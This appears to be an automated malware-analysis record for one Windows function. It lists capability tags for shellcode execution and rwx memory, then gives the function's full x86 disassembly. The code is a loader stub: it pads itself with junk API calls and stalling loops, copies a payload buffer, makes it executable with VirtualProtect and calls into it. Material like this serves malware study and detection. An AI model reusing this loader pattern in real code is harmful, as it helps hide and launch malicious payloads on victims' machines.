Function at 0x477e00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc6c
mov eax, dword [0x481004]
xor eax, esp
mov dword [esp + 0xc68], eax
mov eax, dword [0x49173c]
push ebx
push esi
xor esi, esi
push edi
xor ecx, ecx
cmp ecx, 0xfe
jne 0x477e38
mov eax, dword [0x4827b0]
add eax, 0x9e49
cmp eax, 0xd5d
jne 0x477e50
or dword [0x48392c], 0xffffffff
mov dword [0x483928], 0xec58acac
inc ecx
cmp ecx, 0x12378fe
jl 0x477e26
mov dword [0x49173c], eax
xor ecx, ecx
cmp ecx, 0x55ded1
jne 0x477e74
mov edx, dword [0x481fe8]
mov dword [0x491740], edx
inc ecx
cmp ecx, 0x5ea53c
jl 0x477e60
cmp eax, 0x7c
jne 0x477f22
push esi
lea eax, [esp + 0x474]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadIconW]
push esi
push esi
call dword [sym.imp.ole32.dll_CoTaskMemRealloc]
push esi
call dword [sym.imp.KERNEL32.dll_LocalCompact]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push 0x2e
lea eax, [esp + 0x44]
push esi
push eax
mov dword [esp + 0x48], esi
call fcn.00407dd0
add esp, 0xc
push esi
lea eax, [esp + 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
cmp dword [0x49173c], 0x54
jne 0x477f14
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
call edi
push esi
call edi
push esi
call fcn.00401587
pop ecx
push esi
call fcn.0040159d
pop ecx
xor ebx, ebx
xor eax, eax
mov word [esp + 0x1c], ax
lea edi, [esp + 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0x74]
push eax
push esi
lea eax, [esp + 0x28]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x34]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp ebx, 0x257a0
jg 0x477f75
inc ebx
cmp ebx, 0xea921
jl 0x477f24
jmp 0x477f89
cmp dword [0x49173c], 0xa
jne 0x477f89
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
cmp dword [0x49173c], 0x2a
jne 0x47806a
push esi
push esi
lea eax, [esp + 0x78]
push eax
mov dword [0x491600], esi
mov dword [0x491604], esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push str.gadenowaxafabodudes
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push esi
push esi
lea eax, [esp + 0x478]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
fld qword [0x47f490]
push 0x50
push ecx
push ecx
fstp qword [esp]
push 0x47f464
push str._s__f__c
call fcn.004016e6
add esp, 0x14
push esi
call fcn.0040141a
pop ecx
mov ebx, 0x47f474
push ebx
push str.0__f
mov edi, 0x4838a0
push edi
call fcn.00401110
add esp, 0xc
push esi
call fcn.0040141a
pop ecx
push ebx
push str._s__c
push edi
call fcn.004016e6
add esp, 0xc
push esi
call fcn.0040b9d4
pop ecx
call fcn.004099b4
push esi
push esi
call fcn.0040112a
push esi
push esi
push esi
call fcn.00401396
add esp, 0x14
push esi
push esi
call fcn.0040112a
push ebx
push edi
call fcn.0040156a
push esi
call fcn.004016cf
add esp, 0x14
push esi
push esi
push esi
call fcn.00401015
add esp, 0xc
push dword [0x49173c]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x49173c]
xor edi, edi
mov dword [0x491458], eax
cmp ecx, esi
jbe 0x4780af
mov edx, dword [0x491740]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x4780aa
mov dword [0x49145c], 0x19b0
inc edi
cmp edi, ecx
jb 0x478088
call fcn.00477bda
lea eax, [esp + 0x10]
push eax
push 0x40
push dword [0x49173c]
push dword [0x491458]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00477d50
xor edi, edi
cmp dword [0x49173c], 0x41
jne 0x4780ed
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
cmp edi, 0xd606b
jne 0x4780fa
call fcn.00477bcf
inc edi
cmp edi, 0x24e87d
jl 0x4780d4
mov dword [0x491608], 0x8e46a6f0
cmp esi, 0x408e
jle 0x47811f
cmp dword [esp + 0x44], 0xf5bed7
jne 0x478128
inc esi
cmp esi, 0x687ed2
jl 0x47810d
mov ecx, dword [esp + 0xc74]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret